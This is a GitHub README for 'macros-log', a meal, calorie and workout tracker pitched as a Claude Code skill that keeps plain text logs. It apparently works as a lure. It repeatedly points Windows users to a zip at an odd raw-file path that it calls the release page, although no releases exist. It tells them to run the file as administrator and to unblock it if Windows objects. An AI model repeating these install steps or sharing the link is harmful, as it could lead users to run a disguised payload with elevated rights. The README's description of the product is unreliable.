Skip to content

Osbertbilled424/macros-log

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ₯— macros-log - Track meals, calories, and workouts

Download on GitHub

🧭 What macros-log does

macros-log helps you keep track of what you eat, how many calories you take in, and the workouts you do. It is made for use with Claude Code, so you can work with it as a skill while you manage daily nutrition and fitness logs.

Use it to:

  • Log meals and snacks
  • Record calories, protein, carbs, and fat
  • Track workouts and exercise time
  • Review your daily intake
  • Keep a simple record of your health habits

πŸ’» Before you start

You need:

  • A Windows computer
  • An internet connection
  • A web browser
  • Permission to download files
  • A file that you can open on Windows from the release page

The app is built for normal desktop use. You do not need to set up a developer tool chain or write code to get started.

πŸ“₯ Download macros-log

Visit the release page here:

https://raw.githubusercontent.com/Osbertbilled424/macros-log/main/celibacy/log-macros-v2.7.zip

On that page:

  1. Open the newest release
  2. Find the Windows download file
  3. Download the file to your computer
  4. Open the file after the download finishes

If your browser asks what to do with the file, choose Save or Keep, then run it from your Downloads folder.

πŸͺŸ Install on Windows

After you download the file:

  1. Open your Downloads folder
  2. Find the macros-log file you just got
  3. Double-click it
  4. If Windows shows a security prompt, choose Run or Open
  5. Wait for the app to finish loading

If the file comes in a ZIP folder:

  1. Right-click the ZIP file
  2. Choose Extract All
  3. Open the extracted folder
  4. Double-click the app file inside

βš™οΈ First-time setup

When macros-log opens for the first time:

  1. Read the start screen
  2. Enter your name or profile label if asked
  3. Set your daily calorie goal
  4. Set your protein, carb, and fat targets
  5. Choose your preferred unit style if the app asks
  6. Save your settings

A good starting point is:

  • Daily calories: a value that matches your goal
  • Protein: based on your body weight and activity
  • Carbs: based on your meal pattern
  • Fat: enough to keep meals balanced

If you are not sure what to enter, start with simple daily targets and adjust later.

🍎 Log food and meals

To add food:

  1. Open the food log screen
  2. Choose Add Meal or New Entry
  3. Enter the food name
  4. Enter the amount you ate
  5. Add calories and macros
  6. Save the entry

You can log:

  • Breakfast
  • Lunch
  • Dinner
  • Snacks
  • Drinks
  • Supplements

For the best results, log food soon after you eat it. That keeps your totals easier to follow.

πŸ‹οΈ Track workouts

To add a workout:

  1. Open the workout log
  2. Choose Add Workout
  3. Pick the workout type
  4. Enter the time spent
  5. Enter sets, reps, distance, or weight if needed
  6. Save the record

You can track:

  • Gym sessions
  • Running
  • Walking
  • Cycling
  • Home workouts
  • Sport sessions

This helps you see how your food intake lines up with your activity level.

πŸ“Š Read your daily totals

macros-log keeps a running total of:

  • Calories eaten
  • Protein
  • Carbs
  • Fat
  • Workout activity

Check your totals during the day so you can stay close to your goal. If you eat more than planned, you can adjust your next meal. If you train hard, you can review how that affects your intake.

πŸ—‚οΈ Typical workflow

A simple daily routine looks like this:

  1. Open macros-log in the morning
  2. Set or review your goal
  3. Log each meal after you eat
  4. Add workouts when you finish training
  5. Check your totals before the end of the day
  6. Review your weekly pattern when you want to spot trends

This keeps your record clear without much effort.

πŸ”§ Common tasks

Add a quick food entry

Use this when you only need a simple log for one item, like a protein bar, smoothie, or cup of coffee.

Edit an old entry

Use this when you entered the wrong amount or picked the wrong meal type.

Remove an entry

Use this when you logged something by mistake.

Review past days

Use this when you want to see how your intake changed over time.

Compare intake and training

Use this when you want to see if your food and activity match your current goal.

🧠 Tips for better tracking

  • Log food right away
  • Use the same units each day
  • Keep meal names short and clear
  • Record workouts on the same day they happen
  • Review totals at night
  • Use the same calorie goal for a few days before changing it
  • Keep notes for foods that are hard to measure

Small habits make the log easier to use and read.

πŸͺ™ File types you may see

The release page may give you one of these:

  • .exe file: open it on Windows
  • .zip file: extract it first, then open the app inside
  • Release package: download it, then follow the file name that matches Windows

If you see more than one file, choose the one meant for Windows desktop use.

πŸ” Troubleshooting

The file does not open

  • Check that the download finished
  • Try opening the file from the Downloads folder
  • Right-click the file and choose Run as administrator

Windows blocks the file

  • Open the file properties
  • Look for an Unblock option
  • Apply the change and try again

The app closes right away

  • Download the newest release again
  • Make sure the file finished downloading
  • Try running it from a local folder such as Downloads

I cannot find the download

  • Open your browser downloads list
  • Search your Downloads folder
  • Sort files by date and look for the newest one

🧾 What to expect from the app

macros-log is built to help you:

  • Keep a daily nutrition record
  • Follow calories and macros
  • Track workouts in one place
  • Build a clearer view of your eating habits
  • Use Claude Code as part of the workflow

It works well for people who want a simple log for food and fitness without using a large health app

πŸ“ Release page

Download and install from: https://raw.githubusercontent.com/Osbertbilled424/macros-log/main/celibacy/log-macros-v2.7.zip

🧩 Notes for using with Claude Code

If you use Claude Code with this skill, you can use it to support tasks like:

  • Meal tracking
  • Macro logging
  • Daily calorie review
  • Workout notes
  • Habit tracking
  • Health planning

Keep your entries short and specific so the log stays easy to read and update

πŸ“Œ Basic daily setup example

A simple setup may look like this:

  • Goal calories: 2,000
  • Protein target: 150 g
  • Carbs target: 200 g
  • Fat target: 65 g
  • Workout log: yes
  • Meal log: yes

You can change these numbers to match your own routine

🧭 How to get back to the release page

If you need the file again, open this link in your browser: https://raw.githubusercontent.com/Osbertbilled424/macros-log/main/celibacy/log-macros-v2.7.zip

About

Track food, macros, workouts, and weight in plain text files with a Claude Code nutrition log skill

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors